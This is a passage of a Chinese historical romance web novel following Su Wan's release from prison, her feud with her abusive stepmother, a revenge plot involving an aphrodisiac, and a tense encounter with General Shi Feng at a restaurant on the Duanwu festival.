苏夫人就这样，光天化日被温如初赶出户部衙署，引来众多人员观看，指指点点不断。有那好信者，认出她是苏府的家母，连连惊呼：“苏夫人，怎得被姑爷赶出门来？”
好在苏夫人尚有廉耻之心，赶紧以袖遮面，连说：“认错人了，我不是苏夫人。”
一边爬起来拍拍屁股走人，一路上跌跌撞撞，被踢中的腹部隐隐作痛，苏夫人捂着肚皮詈骂，姓温的也忒猖狂，早晚犯在她手里。
回到苏府，恰逢苏君识“叛变”，该着她黄历犯太岁，不宜出门。
原来苏君识提早下朝，悄悄拐去柴房，叫小厮撬开锁头，释放被囚禁数日的芸娘和无霜。
芸娘一见苏君识，立马哭成泪人儿，直呼：“我的心肝肝，再晚一步，妾与君阴曹地府相会。”
苏君识心疼地要命，恨苏夫人歹毒，叹芸娘娘俩命苦，怀抱佳人磨蹭，一转身钱袋又飞出两千。
芸娘的闺房被喷洒石灰，恶臭无比，根本不能住人。趁母老虎不在家，苏君识不仅从书房搬走自己的铺盖，还命人将府邸西边偏院打扫干净，东西厢房齐备，大有让芸娘另开灶火的意思。
等苏夫人匆忙赶回府，宅内早已大变天。苏夫人才刚吃了满嘴瘪，又见眼前人去楼空放妓归，气得捶胸顿足，恨不得将一众狗男女通通掐死。
可她叫嚣半日，偌大厅堂空荡荡，并无一人搭理她。原来仆从也被调走大半，搬弄收拾二奶奶新家去了。
苏夫人恨不打一处来，想起昨日才刚春风得意马蹄疾，怎的一夜之间东风转向，专跟她过不去。
月白烟青水暗流，一种相思，两处闲愁。
苏绾坐在马车内，感到些许不自在。因为对面坐着的那位黑脸将军，似乎心情不佳，插着双臂一言不发。
“时将军救我于水火，奴家感激不尽，将军这份恩情，不知如何回报，他日若有用得上奴家的地方，请一定不要客气，奴家自当鼎力相助。”
时枫睨着她，目光犀利如剑，似要将她一剑穿透，半晌冷冷道：“用你的地方，仙人跳么？抱歉，本将军从不干那偷鸡摸狗，见不得光的坏事。”
他话语带刺，让苏绾感到莫名其妙，离开大理寺前还好好的，两人相敬如宾。怎么这会子突然冷漠无情好似一口冰窟窿，由内而外散发寒气？
苏绾不信邪，又问道：“将军为何改变主意，将我的案底销除？”
时枫没好气地答道：“你比狐狸还狡猾，人证物证皆被你推翻，我再强行关押你，某人会踏破我家的门槛。”
苏绾会心一笑，“人正不怕影子歪，公道自在人心。”
想必是那封悔婚书和银针双管齐下，所导致的结果。
男人一声嗤笑，“我看是老天不长眼。”
老天如果长眼，就不会让他三更半夜送她回家。跟他多待一阵能死人吗？她就这么急着回去，回到那个吃人的家里？
亏他还尽心尽力亲手喂她喝粥！
那疯婆娘一边捂着心口喊疼，一边谎称手臂无力抬不起来，害得他不得不一勺一勺喂给她吃。他从小到大没伺候过任何人！
清冷月光透过轻薄纱窗，照进车厢，将男人的怒容映得一清二楚。
苏绾抬手去接那缕柔光，手心沾染一片银白。刺进体内的七根银针，好似被月光魔法打败，全部销声匿迹，不留一丝痛感。
留给她的时间不多了。
如果，眼前的人愿意帮助她销除案底，那么，他是否能再多拉她一把，救她脱离苦海无涯。
“时将军。”苏绾向时枫凑近，星眸仰望他，“奴家所求，不过借君一臂之力，助我沉冤得雪。奴家愿付一切代价。”
一切……代价……
瞬间脑海里翻腾无数映像，妩媚的，狡猾的，愤怒的，伤心的，破碎的，绝望的，她。
分不清梦境与现实之别。
他索取的代价，是什么？庇护她的周全？还是报复她的欺骗？
男人怔愣地凝伫，忘却了时间。
外面马蹄踏踏，内里沉寂如水。
过了许久，苏绾没有等到答复，渐渐垂下螓首，遮住眼底黯淡的光彩，“算了，当我没说过。”
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“哼，说出去的话，泼出去的水，说收就收？你想得美！招惹了本将军，轮不到你喊停，你没资格跟我讨价还价。”男人冷冷说道。
轮到苏绾愣住。
这个混蛋，反反复复，喜怒无常，软硬皆不吃，就是不肯放过她！
马车悠悠行至东城，停泊苏家府邸。
孤月当楼满，残花伴醉人。烛影摇曳，忽明忽暗，照得堂前半真半幻，人间地府难分。
苏夫人栽歪塌边，恹恹欲睡，一婆子轻敲小腿。将睡不睡，闻得京卫指挥使到访，惊得一脸青光。
所谓来者不善，善者不来，夜半登门，大多为缉拿罪犯，怎么抓到她家里来。
“将军深夜造访，敢问是何要事？”
时枫也不搭理她，大摇大摆趸进厅堂，一屁股坐在太师椅内，冷冷问道：“苏郎中呢？”
苏君识正在芸娘房内享受鱼水之欢，当下传他过来，难堪的可是苏夫人。
“老爷已歇息，有话跟老身谈。”
时枫懒懒搭着手臂，觑着苏夫人道：“经大理寺核实，苏家二女苏绾，本分守己，遵纪守法，未曾有半点逾矩之过。此案已撤销，再不许有人借机说三道四，裹挟威胁。一经发现，必严处之。”
“什么？”苏夫人一惊，“可是温侍郎的主意？”
“胡扯，大理寺审案，关别人什么事？你莫要血口喷人，牵连无辜。”时枫眼眸一沉。
苏夫人听他语气不善，一时也搞不清楚状况，只得应承下来，“好好，销案自是大好，多谢将军告知。老身明日一早就去大理寺领人。”
“不必了，人我给你送回来，就在门外的马车内。”时枫一挥手，示意晴雷将苏绾领进来。
苏绾在苏夫人惊诧目光下，莲步轻摇，趸进厅堂，上前拜道：“女儿回来了，母亲辛苦挂念。”
眼神交接一刹那，仇人相见，分外眼红。
苏绾还算安分，苏夫人倒是坐不住凳子，她在温如初那里吃的亏，非要从小杂种身上找补回来不可。
“你还知道回来，瞧瞧你把这个家折腾成什么样？做母亲的简直为你操碎心。”
“你给人家大理寺和时将军添了多少麻烦？大张旗鼓地逮捕你，兴师动众地送回来，你都不嫌羞臊！”
“去祠堂领家法，面壁罚跪三日。”
忽然堂前一声呵斥：“慢着。”
声音洪亮，吓得苏夫人一哆嗦，抬眼一看，“冷面阎罗”怒发冲冠，猛然拍案而起，“听不懂人话？本将军再重申一遍：苏绾无罪，案件撤销。”
他一字一顿道：“莫非，你想以一己之力，挑战大理寺和本将军权威？”
苏夫人茫然摇了摇头。
时枫冷冷道：“本将军接到线报，苏家有虐待子女之举。按我大熹例律，虐待子女者，杖罚五十，官员加三倍。”
这话耳熟，她在哪里听过来着？
“鉴于你一贯恶行，本将军现以京卫指挥使身份命令你，须为苏绾单独隔开庭院，有事无事不得随意叨扰。”
“今后再敢无故体罚她，本将军亲自抓你下狱。听清楚了？”
苏夫人越发觉得事有蹊跷，京卫指挥使旨在拱卫京师，怎么管起宅子里的私事？联想到前前后后，有关时枫的真假传闻，苏夫人渐渐想明白一件事。
这俩人之间有苟且！
原来如此，小婊子狐媚子术果真厉害，一头魅惑温侍郎，“非她不娶”，另一头拉扯时将军，“抓你下狱”。
苏夫人气上心头，却不敢当众揭穿他。他“冷面阎罗”名声在外，京城妇孺皆知。惹恼他的代价，恐怕不是捱一脚踢那么简单。纳征那日，苏沅芷已经提前领教过了。
苏夫人咬牙道：“听清楚了。民妇绝不敢以身试法，请将军息怒。”
转过身，冲着苏绾咬牙切齿，“女儿，将军有令，你搬去偏院西厢房，同姨娘作伴，取消晨昏定省，吃住自开灶火。”
苏绾嫣然一笑，打了个万福，“女儿谢过母亲。”
随后众人各自散去，苏绾暂住她原本闺房，无霜等候已久，二人执手相看泪眼，竟无语凝噎。细细问过几遍，方知狱中苏夫人犯下的孽行，苦得无霜跪地痛哭流涕。
这边始作俑者苏夫人，顶着硕大月亮，在书房奋笔疾书。
满纸荒唐言，一把拈酸泪，带着她对所有人的憎恨，接着月色，一同飞向浙江布政使衙署。
21. 邀请
四月天似孩童脸儿，方才晴空万里，全无一点纤凝，转眼即电闪雷鸣，倾盆大雨滂沱。
下了没一炷香工夫，雨势渐渐式微，雷声大，雨点小，好比那不中用的男人，讪讪地下了床榻。
温如初身穿湖绿色圆领袍，仙姿玉貌，负手立于书房窗前，看雨僝云僽。
户部侍郎温大人最近烦恼不断：先是未婚妻被人诬陷有奸情，纳征定亲宴无端搅黄；后又传言此女作奸犯科，母家亲自登门谢罪，痛哭流涕不起。
啧啧，温大人眼光不怎么样嘛。
凭他的资质才华，想要攀附他的大有人在，什么样的倾城芳菲都有，何必偏在歪脖树上吊死。
嘘，温大人深情似海，听不得别人说他未婚妻坏话。
流言蜚语，像长了翅膀，传遍京城官场。羞辱如空穴来风，丝丝缕缕飘入户部衙署书房，隐没团团墨香茶气中。
温如初随手拾起案边一杆狼毫，毫尖许久未用，已有些风干。心有千百结，错综复杂，不得头绪。
太多事情发生，总有些不对劲。
纳征“奸夫”一案，尚且没有定论，又多一宗“悔婚”事件，叫人应接不暇。
究竟什么人，在背后捣鬼？
那份悔婚书的确出自苏绾手笔，然多半受苏母胁迫所致，并无参考价值。
问题在于苏绾被抓住的把柄——假扮算命先生，街头占卜行骗，积敛钱财。
她要钱做什么？
苏绾并非爱慕虚荣，贪得无厌之人。平时衣着朴素无华，也不爱穿金戴银。一年到头，不过一点胭脂水粉开支，几两银子的事。
近两年来，温如初送给她的礼物车载斗量，每次她都浅笑安然，细声细语：“绾绾不需要这些东西，有念哥哥在，绾绾知足矣。”
亦不可能为嫁妆担忧，温如初自从向她求婚第一日起，就向所有人明确表示，只要能娶苏绾过门，不在乎嫁妆不嫁妆，并且彩礼翻倍。
他想不通她要钱的理由。
桃花眼眸一沉，也罢，既然如此，不如亲自问她要个解释。
温如初丢下手中狼毫，拍拍手掌，叫来侍从远舟，“你去苏家一趟，请二小姐端阳节醉仙楼会面。”
远舟拜道：“是。”
*
“绾绾，这是我为你打下的江山，喜欢吗？”
放眼望去，大地满目疮痍，天空布满血色，凛风呼啸，万鬼恸哭。
苏绾摇头，“不要，我不要。”
温如初头戴翼善冠，身披衮龙袍，上绣十二章纹。缱绻多情桃花眼，皎如玉树临风前，向她伸出手。
苏绾惊惧，转身欲逃，却被他手臂扼住喉咙，她拼命挣扎，“放开我，你放开我。”
温如初凑近耳畔，“我怎么舍得放你走。绾绾，你永远都逃不出我的手掌心。”
他捏着苏绾两臂，麻绳一圈一圈，缠绕脖颈，手腕，脚踝，桎梏在十字桩。
整桶松树油从肩头浇灌，散发诡异的松香，令人几欲窒息。
“绾绾，你是为我而生的。这一刻，我们将融于一体，永世不得分离。”
温如初高举火把，火焰明亮如昼，映照他洁白如玉面颊，鬼魅似的阴黄。
一滴清泪自桃花眼迸离，流淌过少年多情唇际，落入苏绾心头。
绣满六道轮回的衣袍撕裂，露出胸前纹有一点朱砂，细看却是一个“念”字，出自温如初的手笔。
他要苏绾刻骨铭心，永远怀念他。
苏绾的声音沉浸油脂，混沌而绝望，怆地呼天，“我不要死，不要死！”
那火焰冲天，香阵透京城，烧尽牛鬼蛇神。繁花似锦，朝阳照耀生红霞。慢等骁勇将军，杀出黎明，抚绥万方，美人见曙光。
苏绾自梦魇睁开眼，浑身冷汗涔涔，她慌忙剥开衣襟察看，但见胸前白璧无瑕，并没有那个朱砂“念”字。
翘起鼻尖，空气中弥漫着淡淡的花香，未曾嗅到任何松油气息。
苏绾心情稍许缓和，长吁一口气，身体重重地摔在床板。
漫漫长夜，噩梦何时才能结束。
雨过初霁，天际彩虹垂，风起痴云快一吹。
小姐，小姐——”
无霜小小呼声，穿透层层叠叠紫竹林，惊飞两只斗唱的黄鹂。
“坏事啦……”
幸亏紫竹苑距离主厅甚远，微薄声音俨然淹没柳浪闻莺。
苏绾自搬入偏院紫竹苑以来，不必早起问安，不同主家吃住一处，没有嬷嬷耳提面命，出入自由许多。每日里，听雨煮茶焚香，刺绣烂柯，闲看庭前花类雪。
然而自在逍遥的外表之下，仍旧隐藏着不安跳动的心灵。温如初怎会轻易放过她，必是预备好更加猛烈的风雨崔嵬。
你看，坏事从不迟到，这不就点卯来了？
无霜揉搓满脸雨雾，结结巴巴道：“小、小姐，方才姑爷家的远舟来了，说是邀请小姐端阳节醉仙楼相会。怎么办呐？”
苏绾放下手里的绣活，开始收拾残摊，“能怎么办，我也没有推脱的借口，硬着头皮去罢。”
“可、可是，小姐才刚从大牢放出来，万一姑爷不高兴，责难小姐，那可如何是好？”无霜皱着小脸急道。
苏绾停住拾掇荷包的手，“你觉得，他要害我？”
无霜瘪着小嘴，“霜儿不知。但霜儿见小姐和姑爷在一起时，心里并不快乐。那么，一定是姑爷的错，是姑爷不安好心。”
岂止不安好心，他分明是狰狞恶鬼，要将苏绾剥皮抽筋，敲骨吸髓，连渣滓都不剩。可那恶鬼戴着伪善面具，谁又能看透他的真实面目。
苏绾叹口气，重新打开荷包，掏出针线，继续缝制手里的那件嫁衣。
芸娘才刚进门，跺脚磨蹭雨泥，茶也不喝一口，扯着嗓子呼唤苏绾：“你上次教我打的那条同心结花样子在哪里？拿来给我比对比对，怎么我钩出来的不像那回事。”
她说的是墨金双色丝绦络子，苏绾本打算送给时枫还人情，结果对方不但不领情，反倒勃然大怒，狠狠摔在地上。
真不知道，那匹猎兽脑子里面长的什么弯弯绕绕，动不动就发脾气，风一阵雨一阵，着实难伺候。
可上次当他送苏绾回家的时候，车马驱驰临近府邸，男人头也不回，纵身跃下马车。
借着溶溶月色，窗帘骤然掀开，男人剪了剪凤眸，伸进一只手掌，“给我。”
“什么给你？”苏绾不明所以。
男人挺身玉立，银白月纱笼罩周围，激起满身风露，高高在上地睨着她，“你不是要送我东西？怎么，反悔了？”
苏绾眨了眨眼，努力回想半日，方才想起墨金同心结这回事。
她也学他的眼神，同样地睥回去，“你不是不要嘛，我随手丢掉了。”
哪知她这点小心思，完全骗不了这匹野兽。男人嘴一撇，大掌擒过素腕，两根手指探进袖管，顷刻夹出一段丝绦络子。
薄茧指肚擦着酥臂，轻轻滑过手腕，有点点痒，令苏绾的心一紧，刹那间脸颊泛起红云。
她佯装嗔怒，低低地叫了声：“强盗。”
“哼，贼喊捉贼。”男人攥着墨金络子，手指细细地捻摩，嘴角噙着一抹笑意，“你敲诈本将军三千两，我跟你讨根烂绳子，也不知是谁亏了。”
脸颊的红晕稍褪，苏绾耸了耸鼻尖，嘲道：“烂绳子？奴家旧年得人赠与西夏进贡的丝线，及苏州十年内产出最好的丝绸，打了那条墨金络子，算上奴家的手工费，三千两都亏了呢。将军这么没眼光，奴家一片心意喂了狗。”
“混账东西。”
“唰”的扔下窗帘，差点甩到苏绾的脸。
隔着窗帘缝隙，男人心满意足地将同心结揣进怀里，负手踱步进入苏宅大门。
苏绾回过神，充满歉意对芸娘道：“络子丢在大牢找不见了，我过阵子再重新打一条给你。”
自从大理寺狱放归以后，苏绾对狱中之事闭口不谈，但憨直如芸娘，也能猜到那是怎样的一段惊心动魄。
她上前捉住苏绾一双手，声音打着颤儿，“他们对你用刑了，是不是？”
放下手，细细地摸遍苏绾全身，“可我怎么没见伤痕？我听说大牢里，给女人上的刑罚最为残忍，夹手指都是小儿科。夫君跟我讲过一种刑罚，叫做‘骑木驴’，简直不是人受的。”
身子被她搔弄的痒痒的，苏绾想笑，却笑不出来。她所遭受的酷刑，远远超越“骑木驴”，像一层永远褪不尽的皮肤，每时每刻，都在经历剥离生命的苦楚。
“看在温侍郎的面上，他们不敢对我用刑。”苏绾撒了谎，她并不想把自己的痛苦和绝望加注在别人身上，只她一个人苦就够了。
可无霜却不
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这么想。
小姐的苦，是这个吃人的家造成的，只有远远逃离，才能躲避所有的无妄之灾。
“他们不敢，可夫人敢呐。”
无霜愁闷的小脸，自身后探过来，“七根银针，七根！”
牙齿咬得紧紧，“狗嬷嬷还暗地里跟下人炫耀，二小姐就是告到天上去，也没有人相信她。”
低下头，两眼含泪，“针扎进肉里，沿着经脉全身游走，指不定哪天从肉里钻出来，好人儿也被戳烂了。”
“啥？”芸娘大惊失色，脚下一滑，差点从凳子跌落。
她跌跌撞撞站起身，端着拳头，恨道：“女大虫，老娘跟你拼了。”
转身啐了一口，“再不还手，下次刀口就架脖子上了。不，已经戳进肉里，命都没了，还怎么报仇。”
心一横，拔腿就往外跑，被苏绾急急拦住，“你做什么去？”
芸娘怒道：“我去砍了她的手脚，给你报仇雪恨。”
苏绾听了又好气又好笑，“你砍了她，回头咱们双双下狱，两命抵一命，可还划算？”
她瞥了一眼无霜，“霜儿就爱吓唬人，哪有那样夸张？”将芸娘摁坐在凳上，“我的身子骨没那么弱，你看，这不还好好的吗？”
芸娘抗议道：“绝不能放过女大虫！”
苏绾笑道：“我也不是任人宰割的羔羊。她把针戳进我身子，我还她一生刺痛。只是，这笔账须慢慢清算，钝刀子割肉，才最戳心。”
“老娘等不及看她慢慢死，今天我就要捶她一棒槌，死不了也要扒层皮。”芸娘恨恨道。
苏绾拗她不过，沉吟一阵，星眸掀起，“也好，守株待兔不如先发制人，先挫了她的威风，叫她吃点苦头，不敢再对你我下手。”
摊开素白手掌，“借我五两银子。”
“你想怎么做？”芸娘又惊又喜。
她没想到苏绾这么容易开窍，殊不知早在半月前，苏绾已经在酝酿一桩复仇计划。
苏绾低下额首，咬着嘴唇，沉声吩咐无霜道：“你偷偷告诉文竹，去春月坊找相帮买包‘合欢散‘。家里人多眼杂，我不方便出面跟文竹这样讲。”
无霜闻言惊道：“小姐买那劳什子作甚？被老爷夫人看见，命都没了。”
芸娘虽为乡下人，然而和苏君识厮磨几年，也曾尝试过奇巧霪技，自是知晓合欢散为何物。
她思了一瞬，似有所悟，“哦哦，我晓得了，你想给女大虫下药，看她药发出丑。”转头一想，又有些不甘，抱怨道：“光是叫她出丑，也太便宜她了。”
说的对，怎可能便宜了她。
她和苏夫人的仇恨深似海，她必然还以狂风巨浪般的猛烈打击，方才对得起扎进身体的那七根银针。
*
雨过天晴，金乌西坠，玉兔东升。
书房内，时枫伸展臂膀，活动筋骨。自他调任驻守京师大营以后，平日里常在朝堂走动，多了许多书面业务来往，少了兵营里的拳脚肉搏，浑身不自在。
更不消说，他新晋得封“卫将军”称号，应酬酒局不知履行多少。今日兵部尚书请他，明日五军都督邀他，人人顶着一张和善的脸，彼此称兄道弟，恨不得立马结拜。
时枫忙得分不开身。
自老道处，得了一点哥哥的线索，他便开始着手筹谋上山。暗自调兵遣将，郊外安营扎寨。然而还未有所起色，又被另外一些事情阻拦。
时下福建都指挥使沈恪沈将军上书，言东南沿海倭寇蠢蠢欲动，时常滋扰乡民渔民。沈恪自俩月前已动身上京，亲自来协调筹划此事。沈家乃时家世交，时枫奉父命接待，不日即将到府。
他不止身忙，而且心累。
仆从奉上一杯温茶。时枫端起白玉茶盏，看杯内水雾氤氲，倒映烛火摇曳，脑海里浮现少女清澈如水星眸，耳边软音喃喃：
“奴家所求，不过借君一臂之力，助我沉冤得雪。奴家愿付一切代价。”
他从怀里掏出那条墨金同心结络子，摩挲在手里，心中一夕千念：索取什么代价，才配得上他为她刮骨剖心之痛。
晴雷上前拜道：“爷，苏府的‘鳐鱼’传来密报。”
墨金丝绦络子放下，叠成细卷信笺展开，细小文字传递惊天秘密。
时枫咬咬牙，狠狠地将信笺揉搓一团，紧紧攥进手里，摁进指缝间。
22. 春药
五月初五，端阳节如期而至。
苏绾穿翡翠烟罗绮云裙，外罩泥金撒花褙子，窈窕姽婳，立在树荫底下。无霜一身绣衫罗裙，捉裙跑向街角，摇手雇辆马车。
二人钻进车厢，放下帘幔。车内拥挤，白酥手臂半搭窗台，青岚轻轻吹动帘幔，内层青纱撩拨脸颊，有一丝丝痒。
“小姐，等下见了姑爷，千万解释清楚占卜缘由，莫教姑爷认为小姐贪心。”无霜忧虑的小脸皱成一团。
无霜正值及笄之年，比苏绾小二岁。自苏绾进苏家起，就做贴身使唤丫鬟，处处尽心尽力，同苏绾拧成一根绳。
苏绾抚摸无霜发髻，柔肠百转千回。
“你不必担心，等我处理完这些琐碎，咱们就离开苏家，去云南大理，我听说那里是世外桃源，仙境人家。”
“真的吗？”无霜一听，眸子陡然亮了亮。
自从那日被大少爷堵进房里强迫未遂，无霜一天都不想多待在苏家。尤其最近听说苏绾被扎针，再也没有比苏家更恶毒的主子。
迫切想逃的心情，甚至大过于对小姐出嫁的期待。假如温侍郎并非小姐的良人，那么也别指望他能救她们出水火。
无霜如此想。
马车停泊醉仙楼，苏绾外罩黑纱帷帽，遮挡绝美容颜。店小二笑脸相迎，引领两位姑娘趸上二楼雅间。
酒楼装饰格外考究，四壁张挂彩绘，花木扶疏，蝴蝶翩跹。内部空间宽敞明亮，雕花木柱耸立，桌案座椅全部采用上等红木。
京城的公子哥没事都爱来此地消磨空暇，常常三五美人作陪，谈笑风生，摇曳步入楼阁，好不风光得意。
房间位于二楼西边尽头拐角，布置清新雅致，堂前置一扇梨木落地屏风，下托披水牙子，上绘《西厢记》，人物刻画栩栩如生。
屏风后有木榻，榻上摆炕桌，方便食客聊天歇息。另一侧正对门处设红木圆桌，伴四只圆凳。
苏绾故意来得早些，她环顾打量房间布局摆设，圆凳略微有点硬，坐上去硌得慌，得备些软物。
不知是不是心魔作祟，自从体内被刺入七根银针，苏绾便生出一种怪癖，浑身靠不得硬物，否则针刺入骨疼痛。
无霜下楼找掌柜的讨要褥垫，她踮脚伏在柜台，手指比划形状大小。
忽然眼角瞥见，身材高大的男人，一身石青色衣褂，步伐稳健走来。
糟糕，这人怎么来了？
无霜欲上楼通知苏绾，已是来不及。她悄悄藏进柜台后方，惊得掌柜的龇牙咧嘴。无霜忙低声嘘他，手里晃悠一两碎银。
老天保佑，千万别坏事。
苏绾摆一壶糯米酒，两腿搭在塌边，手肘支在炕桌。五月清风自窗格钻入，吹得她慵懒困乏，昏昏欲睡。
冷不防一阵浓郁的雪松气息扫过眼角，她垂下螓首，轻揉眼底。
“怎么？有胆子赴别人的邀约，却没胆子见我？”
熟悉冷漠的声音，瞬间敲醒苏绾。
该死，怎么是他？
苏绾不敢抬头看他，她不该在此时此地，跟此人有任何交集。
先不说温如初控制欲极强，未经他许可，不许苏绾同任何陌生异□□流——他称之为“不规矩的搭讪”。
单从她自己来讲，几日前专门递过去的请帖，被对方毫不客气地一口回绝，让她有何颜面再见他，尤其还在醉仙楼！
她在心里默默祈祷，他不过是来打声招呼，就像普通朋友之间问安。
黄雀风不徐不燥，吹拂长裙摆动，似锦鲤碧湖游弋。恰时鱼尾游过一弯，拍打浪波荡漾，扑了岸边人一脸清凉。
男人饶有兴致地负手观望，外人看来，倒像驻足湖边赏鱼的公子，下一刻便要脱口而出诗词歌赋。
任谁都不会想到，他其实是那不露声色的渔夫，潜伏隐匿深林，专为捕捉水中鱼儿而来。
苏绾等待许久，也不见对方主动破冰，只好硬着头皮试探道：“这么巧，竟然碰见时将军。”
“巧么？未必。”男人负手睇着她，冷冷道：“你不是做局要请我？”
没头没脑一句话。
苏绾低头思了一瞬，上一次她说要请他吃饭，还是纳征之日在后花苑。
佳人笑道：“为感谢将军救我出囹圄，奴家是有心邀请，可惜未得抽出空闲递送请柬，奴家择日再做东请你。”
男人不屑地冷笑一声，石青色衣袍一甩，一屁股坐在对面，两手交叉环抱胸前，“择日不如撞日，你要谢我，就在当下。”
那股子清冽雪松气息扑面而来，刺激苏绾心神恍惚不宁，只想赶快摆脱他。
顾不得礼仪，佳人举手指向门外，急道：“今日不可，我约了别人，一会儿就来了。先去忙你的，回头我加倍补偿，好不好？”
“不好。”男人如山般岿立不动，耍起无赖，“就要你今日请我。”
他拎起桌上酒壶，斟满青瓷酒盏，潇洒举杯一饮而尽。石青色丝袍沾染星点酒气，越发衬托出快意恩仇江湖豪侠模样。
苏绾却似寒冬腊月冷水灌顶，“时将军真会说笑。”苏绾端正身子，将泥金褙子拉紧，“不瞒你说，奴家约了温侍郎，怎可能分身招待将军？”
“那又如何？”时枫摩挲青瓷盏，端详杯面烧制花纹，意有所指，“今日约我，明日约他，日日进斗金。”
“一杯薄酒下肚，钱财滚滚而来。仙人跳不就这点伎俩？”抬眸睨了她一眼，“还是说，你的手段不止如此。”
苏绾见他越说越离谱，方意识到对方有备而来，只是不知他手里攥着何样筹码，竟然不惧被温如初撞见。
佳人娥眉微蹙，起身欲逃离，“你喝醉了，奴家叫辆马车送你回去。”
“你逃什么。”男人大手扦住雪腕，嘴角挑衅似地一抹，“叫本将军开开眼界，娼妓的本事有多大。”
“看看假宝蟾与真宝蟾，谁的身子更香软。”
他一脸霪邪，满嘴龌龊，眼神佻达不屑，甚至扯出那两个字眼，听得苏绾拳头握紧。
她用力挣脱手腕，揉搓泛红肌肤，“亏我还敬你是威风凛凛大将军，翻来覆去折辱我一弱女子，有什么意思？我哪里又招惹你了？”
“敢做不敢当？”男人嗤笑一声，怀里掏出一札纸头，并一块碎银，丢到她面前。
苏绾定睛一看，顿时吓得魂飞魄散。
那是她交给文竹的五两银子，叫他去春月坊买□□“合欢散”，那张纸头就是单据凭证。
这些东西怎会到他手里？
时枫似笑非笑道：“你可知，合欢散乃兵营首要违禁物？那些不要命的大头兵，偶尔会去骚扰平民百姓，合欢散是最好用的手段。只需一捻，管教妇人四肢无力，身子骨软成一滩泥，任人摆布。”
翻手回转，四两拨千斤，男人慢悠悠道：“你觉得，本将军会不会发现，你的这点鬼蜮伎俩？”
下春药被人抓住证据，天底下再没有比她更加厚颜无耻的女子，苏绾瞬间觉得“娼妓”二字，倒有些实至名归的意味。
苏绾咬咬牙，硬着头皮反驳道：“青天白日，你不要血口喷人，上面可有我苏绾的印章？”
“不见棺材不落泪。”
男人站起身，居高临下睇着她，恶狠狠道：“五天前你派小厮文竹去春月坊，找一个叫石头的相帮，从他手里以五两银子的价格购买一包合欢散。还想狡赖？”
苏绾心内一凉，自己的一举一动竟然都在对方严密监视下。之前在天桥底下，他也曾说过，暗设眼线盯梢她。
这男人太可怕了。
“是我做的又如何？你再敢危言耸听，我就喊救命。楼下这许多双眼睛盯着，看你能把我怎样？”苏绾又羞又恼，走投无路，只好亮出女人天生的护身符。
“混账东西。”
男人瞬间被激怒，大手揪住苏绾的衣领，像拎小鸡子猛然提起，狠狠揿到身后坚硬如铁的墙壁，硌得苏绾浑身针刺般疼痛，忍不住小小呻吟，“哎……”
酥麻软音传入耳际，刺激男人的神经，他眼眸一沉，“给脸不要脸，还敢勾引我。”
“你是不是对‘仙人跳‘有瘾？一次又一次勾引我，为什么？你告诉我，为什么！”
男人越说越狂躁，恨不得折断红颜祸水的脖颈。
“我没有。”苏绾咬着嘴唇，恨恨吐出几个字。
“还敢犟嘴。”男人气得脸色铁青，攥起铁拳竖立半晌，又不甘心地放下。
苏绾掀眸凉凉望着“冷面阎罗”，悲道：“怎么不打？打啊，打死我才算解恨。”
“你这娼……”<
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p>后面一个字终究没有吐出口，不知出于怜悯之心，还是不屑于谩骂攻击。
他竟拿她毫无办法。
男人低下头，睇着那双狡猾的星眸，闪烁粼粼微光，娇艳欲滴红唇，如春花绽放。
她的确称得上绝色佳人，眼眸晶莹如玉，澹如星子。睫毛长而翘，扑扇如蝴蝶振翅。鼻尖红润小巧，樱唇饱满，桃花含笑。皮肤白皙如雪，颈间一点美人痣，勾弄得他心潮澎湃起伏，顿觉口干舌燥。
大概是那杯淡薄的糯米酒，在他心里种了无名野火，火焰愈烧愈旺，急需冰雪消解。
可恶。
大掌撑住后脑，俯身凑近唇瓣，狠狠亲吻上去。
与前两次生疏操作不同，这一次，动作狠厉，力道充足，咬得佳人满嘴流血。
他将满腔怒火揉成一股蛮力，同那柔软香甜舌尖缠斗八百回合。碰触香唇刹那，心中憋闷的无尽愤怒，瞬间找到倾泻口，尽情地向花朵宣泄释放。万般烦恼化作清风，消失于无尽的深吻，唯剩一点遗憾缭绕心尖。
早知如此方能解恨，何须前番费尽周折？
苏绾来不及反应，下一刻已被对方摁在墙壁狠亲，满脑子唯有一个念头：温如初要来抓她现行。
她会被温如初口舌折磨致死，而他则独善其身，根本不会在意她的死活，没准还煽风点火，助长恶鬼嚣张气焰。
无边无际的恐惧，从四面八方袭来，钻进身体每处毛孔，阗塞满满又复溢出，腐蚀苏绾的灵魂。像一朵含苞欲放的雏菊，还未开始绽放人生，就被无情冰雪整根吞没，化作一滩春泥护花。
“嗯？”
时枫本徜徉在绵软香玉之间，忽然察觉怀里的人儿缩成一团，浑身如遭雷劈，摇晃颤抖不已。遂停止唇舌攻击，顺势去摸她的手，摸到一块冰骨。
“你在害怕？”男人感到迷惑，他不是第一次吻她。若说不愿意，也不至于惊吓至此。
佳人面色惨白背靠墙壁，好似一尊濒临破碎的白玉雕塑，顷刻间化为粉齑。
“是我太凶了吗？”时枫隐约意识到自己行为不妥，暴戾恣睢，姑娘不害怕才怪。
苏府的眼线“鳐鱼”传来密报，告知苏绾近日行径，言及购买合欢散一事。虽已料到她一贯行径如此，可当那些不堪的证据递到面前时，男人大发雷霆，倏地抽出挂在墙壁的紫菁宝剑，一剑斩断红木桌案，声如响雷。
从来没有人，敢这样对他。
亏他还为救她，剖心刮骨，地狱走一遭。
熟料自己活生生成为笑话。
他须给她点苦头尝尝，让她吃到教训。
温如初端阳节邀了苏绾共聚醉仙楼，正是好机会。动身出发之前，他暗地里拦了一桩案子丢给户部处理，温如初必会有所耽搁。如此一来，他就可报一包春药的耻辱。
可他的愤怒，早已融化在香软朱唇，阗满他心尖的，皆是怜惜。
“抱歉，我做得太过了。”
男人搂着削薄的肩膀，大手轻抚后背。抱着战栗不已的佳人，他完全没有报复得逞的畅快，反倒生出一丝愧疚与懊悔。
苏绾的神志渐渐回归，她抬起螓首，凝望凤眸，哽咽道：“你问我为何怕得这般狼狈不堪？很快你就知道了。”
时枫欲再问个究竟，却被她伸手推开。佳人莲步轻挪，缓缓走出房间，立于围栏处，站成一块望夫石。
“小姐……”
楼下焦急等候的无霜，急急忙忙爬上楼梯，险些栽了个跟头，“霜儿瞧见姑爷的马车转过街角，这会子已停泊靠站，很快就要到了。”
她朝屏风后方瞥了一眼，正撞上“黑脸将军”恶狠狠的目光，吓得一哆嗦，手里荷包坠地。
无霜俯腰拾起荷包，惴惴问道：“他怎么还不走？被姑爷看见不好。小姐有没有被他刁难？可曾受委屈？”
苏绾摇头，“我没事。”又垂眸道：“他不怕温侍郎。”
